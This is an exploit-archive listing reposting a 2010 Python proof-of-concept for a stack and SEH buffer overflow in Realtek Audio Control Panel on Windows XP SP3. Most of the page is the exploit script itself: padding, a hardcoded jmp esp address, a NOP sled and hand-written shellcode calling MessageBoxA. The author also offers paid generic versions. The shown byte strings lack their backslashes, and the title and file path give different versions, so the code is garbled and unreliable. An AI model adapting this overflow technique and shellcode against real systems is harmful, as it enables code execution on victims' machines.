[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Realtek Audio Control Panel 1.0.1.65 Exploit
# Published : 2010-11-14
# Author : BraniX
# Previous Title : Realtek Audio Microphone Calibration 1.1.1.6 Exploit
# Next Title : Foxit Reader 4.1.1 Stack Buffer Overflow Exploit


# done by BraniX <branix@hackers.org.pl>
# www.hackers.org.pl
# found: 2010.08.24
# tested on: Windows XP SP3 Home Edition

# App. has classic buffer overflow vulnerability
# it can be triggered by passing a too long argument 
# as a startup parameter. Shellcode can by run via classic
# ret overwrite or SEH Handler overwrite ... so it's a mini-combo ;)

# Ps. If you need a generic exploit ...
# (no hardcoded VA'a), write it yourself ;) or 'donate few' $$$ 
# we will c0de it for You ^^

filepath = "C:\ShellCode\RTLCPL 1.1.1.6 - Exploit.bin"
f = open(filepath, "wb")

f.write('[BraniX]')
f.write('A' * 304)                  # garbage

# shellcode
f.write('xF7x5Ax3Ax7E')         # jmp esp in user32
f.write('x90' * 21)                # nop's

f.write('x50')                     # push eax
f.write('x53')                     # push ebx
f.write('x53')                     # push ebx
f.write('x50')                     # push eax
f.write('x43')                     # inc ebx   
f.write('x83xC37')              # add ebx, 7
f.write('x88x03')                 # mov byte ptr [ebx], al
f.write('xE8x36x08x27x7E')     # call user32.MessageBoxA

f.write('x57')                     # push edi
f.write('xE8x58xCBx6Ex7C')     # call kernel32.ExitProcess

f.write('xCC' * 50)                # int 3's
f.close()

print "Done ..."